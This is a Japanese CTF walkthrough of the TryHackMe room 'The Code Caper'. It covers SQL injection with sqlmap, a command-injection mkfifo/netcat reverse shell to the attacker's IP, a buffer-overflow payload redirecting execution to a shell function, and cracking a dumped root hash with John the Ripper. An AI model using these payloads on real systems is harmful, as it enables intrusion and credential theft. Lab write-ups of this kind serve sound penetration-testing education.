【TryHackMe】The Code Caper 【WriteUp】

# はじめに
こんにちは。
今回はTryHackmeのThe Code Caperを解いてみたところ、ペネトレーションテストを勉強するにあたって必要な色んな技術が詰まっていて、勉強するのに非常に良いマシンだったのでWriteUpとして書いてみました。

TryHackMeは誘導もついていて、ペネトレーションテストの勉強したいけどなにからはじめていいかわからん、、、、といった方にも取り組みやすく、学習しやすいプラットフォームが整っているので、これからペネトレーションテストの勉強しようという方はぜひ取り組んでみてください。

ハッキング・ラボを一通り終えた方にも、ほかにはどんな技術があるの？といったことを手を動かしながら学べるちょうどいい機会になるのではないかと思われます。

### TryHackMe について
[TryHackMe](https://tryhackme.com/dashboard) はサイバーセキュリティに携わるうえで必要な知識や技術を、問題を解いていくことで学べるオンラインプラットフォームです。無料で始めることができ、月$10のサブスクリプションに課金することで、より高度かつ幅広いコンテンツを使って学ぶことができます。無料枠でも基礎的な問題からちょっと応用の聞いた問題までかなり色んな種類の問題に取り組めます。

今回解説するマシンもTryHackMeのなかの無料のマシンの一つで、幅広く技術を扱っていて勉強にもなったので皆さんにも知ってもらいたいと思い、記事にしてみました。マシンの難易度としてはVulnHubのKioptrixくらいだと個人的には思っていますが、こちらは誘導もついているのでもう少し簡単かもしれません。

TryHackMeの始め方はこちらのURL (https://tryhackme.com/dashboard) から登録フォームにてメールアドレスを登録して、左側のHacktivitiesの欄からRoomと呼ばれるマシン別の問題リストを適当に探してJoinするだけです。簡単ですね！

また、VPNで攻略対象マシンがいるネットワークに接続する必要があります。以下の解説に入る前に接続しておいてください。このやり方については専用に学べるRoomがありますので、そちらを探して参照してみてください。

ではThe Code Caperの解説に入りたいと思います。

<font color=red>※ここで使用している技術は許可された環境や自分で管理している環境にのみ使用してください。</font>

# The Code Caper Writeup

### ホストの調査
まずはDeployしてIPアドレスを取得し、nmapで開いているポートを調査します。`-A`オプションをつけることで詳細な調査ができますが、時間がかかるので、最初は外して開いているポートを先に調査してしまいます。

```shell

$ sudo nmap 10.10.194.163 -p1-1000 -Pn
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-19 20:49 JST
Nmap scan report for 10.10.194.163
Host is up (0.31s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 403.50 seconds
```


### Webページの調査
Webサーバがあるので、どんなページがあるのか調査するためにコンテンツスキャンをかけてみます。これには`gobuster`を使います。
また辞書リストは好みのものでいいですが、個人的には最初の１回はKaliに収録されている`/usr/share/wordlists/dirb/common.txt`が汎用性も高く、スキャン数も多すぎないのでおすすめです。

```shell

$ gobuster dir -x html,txt,php -u http://10.10.194.163 -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.194.163
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,txt,php
[+] Timeout:        10s
===============================================================
2020/05/19 21:05:04 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.txt (Status: 403)
/.hta.php (Status: 403)

.............................................

/administrator.php (Status: 200)

.............................................

===============================================================
2020/05/19 21:13:15 Finished
===============================================================

```



`adiministrator.php`が見つかったので接続してみるとログインフォームが出てきます。
ログインフォームではパスワードクラックやSQLインジェクションが使えないか疑ってみましょう。パスワードクラックは場合によっては時間もかかるうえに、今回はユーザ情報を入手できそうな場面がありません。なのでSQLインジェクションを試せないか、調査していきます。
OSCPの試験では使えないそうですが、今回は簡潔さ重視で`sqlmap`を使います。

```shell

$ sqlmap -u http://10.10.194.163/administrator.php --dump --forms --level=5 --risk=3
        ___
       __H__                                                                                                                                                                                                                                                                                               
 ___ ___[(]_____ ___ ___  {1.4.4#stable}                                                                                                                                                                                                                                                                   
|_ -| . [(]     | .'| . |                                                                                                                                                                                                                                                                                  
|___|_  [,]_|_|_|__,|  _|                                                                                                                                                                                                                                                                                  
      |_|V...       |_|   http://sqlmap.org                                                                                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:25:14 /2020-05-19/

[21:25:15] [INFO] testing connection to the target URL
[21:25:15] [INFO] searching for forms
[#1] form:
POST http://10.10.194.163/administrator.php
POST data: username=&password=
do you want to test this form? [Y/n/q] 
> 
Edit POST data [default: username=&password=] (Warning: blank fields detected): 
do you want to fill blank fields with random values? [Y/n] 

...............................................

Database: users
Table: users
[1 entry]
+----------+------------+
| username | password   |
+----------+------------+
| ******** | ********** |
+----------+------------+

[21:44:45] [INFO] table 'users.users' dumped to CSV file '/xxxx/yyyyyy/.sqlmap/output/10.10.194.163/dump/users/users.csv'
[21:44:45] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/xxxx/yyyyyy/.sqlmap/output/results-05192020_0925pm.csv'

[*] ending @ 21:44:45 /2020-05-19/
```

この結果を使ってログインしてみるとコマンドを打つ画面が出てきます。
適当に`id`や`ls`コマンドをうって表示結果を確認してみてください。これはコマンドインジェクションを簡単に実現するページです。
そこでこのコマンドインジェクションを利用して、リバースシェルで侵入することを目指します。
まずは攻撃側の端末で`netcat`のリッスンポートを立ち上げます。

```shell
kali:~$ nc -lvp 4444
```

次に先ほどのコマンドインジェクションの画面で
リバースシェルの実現にはいろんな方法があります。`netcat`の`-e /bin/sh`がもっとも簡単なコマンドですが、セキュリティ対策のためにこのオプションをサポートしないことが多いです。
今回は`mkfifo`を使った次のようなテクニックによってリバースシェルを実現しました。


```shell
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc (KaliのIPaddress) 4444 >/tmp/f
```

このコマンドを実行するとシェルが取れます

```shell

kali:~$ netcat -lvp 4444
listening on [any] 4444 ...
10.10.194.163: inverse host lookup failed: Unknown host
connect to [10.9.5.213] from (UNKNOWN) [10.10.194.163] 53026
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
```

### 情報収集(侵入)
なにか役に立ちそうなファイルがないか探してみます。
たとえば`/home`ディレクトリや`/var`、`/opt`などを`tree`コマンドや`find`コマンド、`ls`コマンドを駆使して探すことができますが、今回はログインしたディレクトリからパスワードが配置してある場所が近かったので、いかにも隠してそうな怪しい名前のフォルダがすぐに見つかりました。
頑張って探してみてください。

そのファイルをひらくと中にパスワードが記載されているます。ここでパスワードが使えそうな場所として、最初の`nmap`の実行結果で見た`ssh`を思い出しましょう。
以下のコマンドでどんなユーザがいるかだけしっかり把握して`ssh`で接続し、侵入していきます。

```shell-session
$ cat /etc/passwd | grep -v "nologin" | grep -v "false" | grep -v "sync"
root:x:0:0:root:/root:/bin/bash
papa:x:1000:1000:qaa:/home/papa:/bin/bash
pingu:x:1002:1002::/home/pingu:/bin/bash
```

```shell

kali:~$ ssh pingu@10.10.194.163
The authenticity of host '10.10.194.163 (10.10.194.163)' can't be established.
ECDSA key fingerprint is SHA256:jAGdoIBGaTVGRC6n/NXl76tRfHyed/hhboT1IvCPO84.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.194.163' (ECDSA) to the list of known hosts.
pingu@10.10.194.163's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Last login: Mon Jan 20 14:14:47 2020
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

pingu@ubuntu:~$ id
uid=1002(pingu) gid=1002(pingu) groups=1002(pingu),4(adm),24(cdrom),27(sudo),30(dip)
pingu@ubuntu:~$ whoami
pingu
pingu@ubuntu:~$ sudo -l
[sudo] password for pingu: 
Sorry, user pingu may not run sudo on ubuntu.

```

### 情報収集(特権昇格)
次に行うべきは特権昇格ですが、`sudo -l` コマンドで特権の確認をしてみたものの、何も`sudo`権限が与えられていなさそうなので断念。
次に情報収集ツールを使っていきます。[前のブログ](https://qiita.com/autumnKa15/items/16dc515ae08520f93086)でも紹介した`linpeas.sh`か`LinEnum`を使いますが、今回は`LinEnum`でやってみましょう。
流れとしては以下のようになります。
- Kali側にツールをダウンロードする
- Kali側でSimpleHTTPサーバを立ち上げる
- 侵入対象マシン側でKaliからwgetする
- 実行する

```shell

kali:~$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
kali:~$ python -m SimpleHTTPServer 9999
pingu@ubuntu:~$ wget http://(KaliのIPaddress):9999/LinEnum.sh
```
これらのツールの出力結果は、まず最初に`SUID`がrootに割り振られたバイナリをみていくといいかとおもわれます。
するとおもしろそうなバイナリが見つかりました。

```
..................

-e \e[00;31m[-] SUID files:\e[00m
-r-sr-xr-x 1 root papa 7516 Jan 16 21:07 /opt/secret/root

..................
```

このコマンド、実行してコマンドを打っても一見なにも起きませんが、使えそうです。

#### エクスプロイト
なにかできないかと追加情報を探していると、pinguユーザのホームディレクトリに`.gdbinit`があるのを確認したので`gdb`があると踏んで、`/opt/secret/root`をデバッガにかけてエクスプロイトを試みます。


```shell

pingu@ubuntu:~$ gdb -q /opt/secret/root
pwndbg: loaded 178 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /opt/secret/root...(no debugging symbols found)...done.
pwndbg> i func
All defined functions:

Non-debugging symbols:
0x08048330  _init
0x08048370  setgid@plt
0x08048380  system@plt
0x08048390  __libc_start_main@plt
0x080483a0  setuid@plt
0x080483b0  __isoc99_scanf@plt
0x080483d0  _start
0x08048400  __x86.get_pc_thunk.bx
0x08048410  deregister_tm_clones
0x08048440  register_tm_clones
0x08048480  __do_global_dtors_aux
0x080484a0  frame_dummy
0x080484cb  shell
0x08048504  get_input
0x08048521  main
0x08048550  __libc_csu_init
0x080485b0  __libc_csu_fini
0x080485b4  _fini
```
まずは関数リストを取得しました。`shell`がめちゃくちゃ怪しそうですね。
`main`,`shell`,`get_input`あたりを軽く逆アセンブルしていきます。

```shell

pwndbg> disassemble main
Dump of assembler code for function main:
   0x08048521 <+0>:     lea    ecx,[esp+0x4]
   0x08048525 <+4>:     and    esp,0xfffffff0
   0x08048528 <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804852b <+10>:    push   ebp
   0x0804852c <+11>:    mov    ebp,esp
   0x0804852e <+13>:    push   ecx
   0x0804852f <+14>:    sub    esp,0x4
   0x08048532 <+17>:    call   0x8048504 <get_input>
   0x08048537 <+22>:    mov    eax,0x0
   0x0804853c <+27>:    add    esp,0x4
   0x0804853f <+30>:    pop    ecx
   0x08048540 <+31>:    pop    ebp
   0x08048541 <+32>:    lea    esp,[ecx-0x4]
   0x08048544 <+35>:    ret    
End of assembler dump.
pwndbg> disassemble get_input
Dump of assembler code for function get_input:
   0x08048504 <+0>:     push   ebp
   0x08048505 <+1>:     mov    ebp,esp
   0x08048507 <+3>:     sub    esp,0x28
   0x0804850a <+6>:     sub    esp,0x8
   0x0804850d <+9>:     lea    eax,[ebp-0x28]
   0x08048510 <+12>:    push   eax
   0x08048511 <+13>:    push   0x80485ec
   0x08048516 <+18>:    call   0x80483b0 <__isoc99_scanf@plt>
   0x0804851b <+23>:    add    esp,0x10
   0x0804851e <+26>:    nop
   0x0804851f <+27>:    leave  
   0x08048520 <+28>:    ret    
End of assembler dump.
pwndbg> disassemble shell
Dump of assembler code for function shell:
   0x080484cb <+0>:     push   ebp
   0x080484cc <+1>:     mov    ebp,esp
   0x080484ce <+3>:     sub    esp,0x8
   0x080484d1 <+6>:     sub    esp,0xc
   0x080484d4 <+9>:     push   0x3e8
   0x080484d9 <+14>:    call   0x80483a0 <setuid@plt>
   0x080484de <+19>:    add    esp,0x10
   0x080484e1 <+22>:    sub    esp,0xc
   0x080484e4 <+25>:    push   0x3e8
   0x080484e9 <+30>:    call   0x8048370 <setgid@plt>
   0x080484ee <+35>:    add    esp,0x10
   0x080484f1 <+38>:    sub    esp,0xc
   0x080484f4 <+41>:    push   0x80485d0
   0x080484f9 <+46>:    call   0x8048380 <system@plt>
   0x080484fe <+51>:    add    esp,0x10
   0x08048501 <+54>:    nop
   0x08048502 <+55>:    leave  
   0x08048503 <+56>:    ret    
End of assembler dump.

```

それぞれみたところ、main関数で`get_input`が呼び出されて入力をうけとっているようですね。
また、shell関数は`system`関数が呼び出されているので何らかの処理が行われることがわかります。main関数で起こる一連のフローからは外れているのでおそらくバッファオーバーフローなどのテクニックで、shell関数に制御をうつせばよい、または`system`関数をつかってシェルを起動すればよい、などのアイデアが生まれます。
shell関数内の`system`関数には引数として`0x80485d0`のアドレスに格納された何かが`push`でスタックに積まれて渡されているので内容を表示します。

```shell
pwndbg> x/s 0x80485d0
0x80485d0:      "cat /var/backups/shadow.bak"
```

`/etc/shadow`のバックアップファイルみたいですね。`/etc/shadow`はパスワードのハッシュを格納したファイルなので、これが見れればpapaやrootのパスワード解析ができるかもしれません。
そこで、いったん制御を`shell`関数に移してしまいましょう。

バッファオーバーフローを起こすには、プログラムがセグメンテーションフォールトを起こすまでの入力となるオフセットをまず求める必要があります。バッファオーバーフローの原理についてはここでは詳細は割愛させていただきます。

#### オフセットの求め方①
pwndbgではcyclicコマンドを使ってオフセットを求めることができます。

```shell

pwndbg> r < <(cyclic 50)
Starting program: /opt/secret/root < <(cyclic 50)

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────
 EAX  0x1
 EBX  0x0
 ECX  0x1
 EDX  0xf771c87c (_IO_stdfile_0_lock) ◂— 0
 EDI  0xf771b000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 ESI  0xf771b000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
 EBP  0x6161616b ('kaaa')
 ESP  0xff9ed260 ◂— 0xf700616d /* 'ma' */
 EIP  0x6161616c ('laaa')
───────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────
Invalid address 0x6161616c










───────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ esp  0xff9ed260 ◂— 0xf700616d /* 'ma' */
01:0004│      0xff9ed264 —▸ 0xff9ed280 ◂— 0x1
02:0008│      0xff9ed268 ◂— 0x0
03:000c│      0xff9ed26c —▸ 0xf7581637 (__libc_start_main+247) ◂— add    esp, 0x10
04:0010│      0xff9ed270 —▸ 0xf771b000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x1d /* 0x1b1db0 */
... ↓
06:0018│      0xff9ed278 ◂— 0x0
07:001c│      0xff9ed27c —▸ 0xf7581637 (__libc_start_main+247) ◂— add    esp, 0x10
─────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► f 0 6161616c
   f 1 f700616d
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x6161616c)
pwndbg> cyclic -l 0x6161616c
44


```

#### オフセットの求め方②
①の方法はTryHackMeの誘導にあったんですが、自分はこのとき解くのに夢中で誘導を見ていなかったので以下の方法でやりました。pwndbgがあれば上のほうが便利ですね。

```shell

kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A (←コピペ)

ingu@ubuntu:~$ gdb /opt/secret/root -q
pwndbg: loaded 178 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from /opt/secret/root...(no debugging symbols found)...done.
pwndbg> run
Starting program: /opt/secret/root 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()

kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x35624134
[*] Exact match at offset 44
```

いずれの方法でもいいですが、これでオフセットが`44`であることがわかりました。
ではこのオフセットを使って制御をshell関数に流し込んでみましょう。
shell関数のアドレスは関数アドレスリストの結果より`0x080484cb`なので、リトルエンディアンであることを考慮して次のようなコマンドを入力します。

```shell

pingu@ubuntu:~$ python -c 'print("A"*44+"\xcb\x84\x04\x08")' | /opt/secret/root
root:$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:18277:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18277:0:99999:7:::
uuidd:*:18277:0:99999:7:::
papa:$1$ORU43el1$tgY7epqx64xDbXvvaSEnu.:18277:0:99999:7:::
Illegal instruction

```

これでハッシュを入手することができました。

#### ハッシュの解析
rootのハッシュ`$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.`を書き込んだファイルを作成します。

```shell

$ echo "$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck." > hash
```

誘導では`hashcat`を紹介していましたが、自分はJohn The Ripper を使いました。

```shell

$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
*******        (?)
1g 0:00:03:32 DONE (2020-05-20 19:29) 0.004697g/s 1126p/s 1126c/s 1126C/s lovelife07..lossims
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```
とあるパスワードが`******`に表示されます。
これでパスワードがわかったのでルート権限がとれましたね。

```shell
pingu@ubuntu:~$ su
Password: 
root@ubuntu:/home/pingu# id
uid=0(root) gid=0(root) groups=0(root)
```

## 終わりに
解説は以上になります。
Webからアセンブリまで一定の理解が求められるので個人的にはやっていてとても楽しいマシンでした。
みなさんもぜひ挑戦していただければと思います。

実はバッファオーバフローのエクスプロイトのところで、同じコマンドを打ったのに最初はパーミッションエラーが出たのですが、マシンを再起動して再度叩いてみるとなぜかいけました、、、謎だ、、、、。

間違いや問題のある箇所などがあればご指摘願います。

ここまで読んでいただき、ありがとうございました。